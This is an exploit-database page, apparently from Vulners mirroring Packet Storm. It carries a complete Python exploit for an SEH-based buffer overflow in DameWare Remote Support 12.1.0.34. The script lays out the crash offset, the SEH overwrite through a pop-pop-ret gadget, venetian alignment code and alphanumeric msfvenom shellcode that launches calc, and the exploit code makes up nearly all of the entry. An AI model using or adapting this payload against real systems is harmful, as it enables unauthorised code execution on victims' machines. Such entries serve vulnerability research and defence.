Lucene search
K

DameWare Remote Support 12.1.0.34 Buffer Overflow

🗓️ 01 Oct 2019 00:00:00Reported by Xavi BeltranType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 152 Views

SEH based Buffer Overflow in DameWare Remote Support V. 12.1.0.3

Code
`#!/usr/bin/env python  
# Author: Xavi Beltran  
# Contact: [email protected]  
# Exploit Development: https://xavibel.com/2019/08/31/seh-based-local-buffer-overflow-dameware-remote-support-v-12-1-0-34/  
# Date: 14/7/2019  
  
# Description:  
# SEH based Buffer Overflow  
#DameWare Remote Support V. 12.1.0.34  
# Tools >> Computer Comments >> Description  
  
# msf-pattern_offset -q "37694136" -l 5000  
# [*] Exact match at offset 260  
junk1 = "\x41" * 260  
  
# Unicode compatible padding  
nseh = "\x61\x43"  
  
# 0x007a0021 : pop esi # pop edi # ret  
# startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READ} [DNTU.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v12.1.0.34 (C:\Program Files\SolarWinds\DameWare Remote Support\DNTU.exe)  
seh = "\x21\x7a"  
  
# Put shellcode memory address in EAX, push it to the stack and RETN  
# 20 bytes  
align = ""  
align += "\x43" * 10 # Padding  
align += "\x58" # POP EAX  
align += "\x73" # Venetian padding  
# 0012F590 83C0 50 ADD EAX,50  
align += u"\uC083" + "\x50" # ADD EAX, 50  
align += "\x73" # Venetian padding  
align += "\x50" # PUSH EAX  
align += "\x73" # Venetian padding  
align += u'\uC3C3' # RETN  
  
# 1348  
junk2 = "\x43" * 18  
  
# 7FFDD066 + 2 memory address contains the value FFFF0000  
# This value is going to be placed in EBX   
# And it doesn't break the execution flow  
junk3 = "\x44" * 550 + u"\uD066" + u"\u7FFD" # u"\xF0FF"  
  
# msfvenom -p windows/exec CMD=calc -f raw > shellcode.raw  
# ./alpha2 eax --unicode --uppercase < shellcode.raw  
# 508 bytes  
shellcode = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLYX4BM0M0KPQP4IZEP17PQTDKPPNPTK1BLLDK1BLTTKT2MXLOVWPJMV01KO6LOLS13LM2NLMPWQHOLMM1WWK2KBPR27TKPRLP4K0JOLTK0LN1D8K3OXKQJ1R1TKPYMPM1HS4KPILXYSOJQ9DKOD4KM1XVNQKO6LGQ8OLMM1WWP89PRUZVLCSMKHOKSMMT2UJD1HDKQHNDKQJ31VTKLL0K4K1HMLM1J3DKKTTKM1HP3YQ4O4ND1K1KQQR9PZ0QKOYPQOQOQJDKLRZKTM1MRJM1DMCUH2KPKPKPPPQXP1TKBOU7KOHUWKL07EFB0V38W6V5WMUMKOJ5OLM63LLJ3PKKIP2UKUWK17MCBRROQZM0B3KOZ51S1Q2LQSKPA"  
  
crash = junk1 + nseh + seh + align + junk2 + shellcode + junk3  
  
print(crash)  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Oct 2019 00:00Current
0.6Low risk
Vulners AI Score0.6
152